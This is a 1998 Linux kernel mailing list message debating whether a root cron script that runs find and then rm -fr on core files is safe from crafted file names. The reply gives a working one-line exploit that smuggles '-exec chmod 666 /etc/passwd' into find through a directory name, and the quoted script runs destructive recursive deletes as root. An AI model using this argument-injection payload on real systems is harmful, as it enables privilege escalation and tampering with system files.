> In <199810260025.TAA13771@alcove.wittsend.com> Michael H. Warfield (mhw@wittsend.com) wrote:
> MW> Khimenko Victor enscribed thusly:
> >> 25-Oct-98 20:01 you wrote:
> >> > Hi Michael.
>
> >> >>> % Already tried, and he's not interested, but I did find out what script
> >> >>> % he's using...
> >> >>> %
> >> >>> % Q> #!/bin/sh
> >> >>> % Q> XYZZY="`find / -name core`"
> >> >>> % Q> for LOOP in `find $XYZZY | sort -ru` ; do
> >> >>> % Q> rm -fr $LOOP
> >> >>> % Q> done
>
<Lots snipped>
> Uh, oh, ah. If you THAT serius then send me (privately if you do not want to
> create troubles from publishing such exploit -- I'll not distribute it)
> exploit of THIS SCRIPT (not my bash, my glibc or my perl but exploit of THIS
> SCRIPT; that is exploit which is not possible without executing of this script
> every hour -- something like mkdir -p "/tmp /dev /core") which will make my
> /etc/passwd word-writable.
You asked for an exploit of that exact script, here's one that works
mkdir -p ' -exec chmod 666 /etc/passwd ; -o -name /core'
You don't need any shell metachars to make it execute any command you
want.
>
> MW> And I have much MUCH more destructive toys in my arsenal... (How
> MW> about hashing his entire partition so you can't even recover the superblock).
>
> I know a lot of such tricks myself and I'm pretty sure that discussed system
> still has A LOT OF security holes but what about our small simple stupid
> script ?
>
> Yes, this script is immune for shell metacharacters. It's stupid and slow, but
> immune for shell metacharacters and thus could not give you root rights :-((
> Really. May be "all metacharacters will be hided" was wrong words :-(( More
> correct will be "metacharacters from filenames will not be interpreted in this
> script". Let's see. Where interpretation of shell metacharacters could occurs ?
>
> -- cut --
> XYZZY="`find / -name core`"
> -- cut --
> here shell metacharacters in filenames will not be interpreted since result of
> ` ` is not interpreted at all and will be just put in XYZZY "as is" even
> without substituting \n as space !
>
> -- cut --
> for LOOP in `find $XYZZY | sort -ru` ; do
> -- cut --
> This is long and complex line but it's immune as well: $XYZZY will take XYZZY
> contents, will change \n and \t (only \n and \t! not \r, \h etc. will be
> substituted :-) to space and will split XYZZY. No shell metacharacters will be
> interpreted. The same with result of `find $XYZZY | sort -ru` ! Result: this
> line will not interpret shell metacharacters in filenames as well.
>
> -- cut --
> rm -fr $LOOP
> -- cut --
> Here LOOP contents will be put as rm parameter. Once more no shell
> metacharacters will be interpreted. And rm does not have fancy parameters
> which could lead to executing something. Removing -- just fine, but excecuting?
> Nope...
>
> Of course since result of "`find / -name core`" could be loooong and most
> likely there are bash without needed updates it's possible to use buffer
> overrun, but it's other story... It's really strange that such stupid script
> is immune to shell metacharacters but it's true. Of course possibility to
> remove any file (and even the whole filesystem :-) is more then enough by
> itself but that's other story as well...
>
> MW> To say that bash hides all the meta characters, is still making a
> MW> brash assumption, though. It remains possible, although possibly difficult,
> MW> to set up the correct combinations of meta characters and quotes to execute
> MW> user arbitrary commands or scripts... It makes for an amusing hobby that
> MW> I just happen to get paid to do... :-)
>
> Then why such strange useless point ? If it's your work you must know this stuff
> better then I am and may be this is possible after all but I'm really could not
> understood how to do this :-(( So far to me looks like this is impossible at
> all... Send me exploit if it's possible :-)) I'll not distribute it but I'll
> admit you rigthness publically then if you are interested in this...
>
>
>
>
> -
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.rutgers.edu
> Please read the FAQ at http://www.tux.org/lkml/
>
-- Henrik Olsen, CNA, working on CNE. URL=http://www.iaeste.dk/~henrik/ Get the rest there.
- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/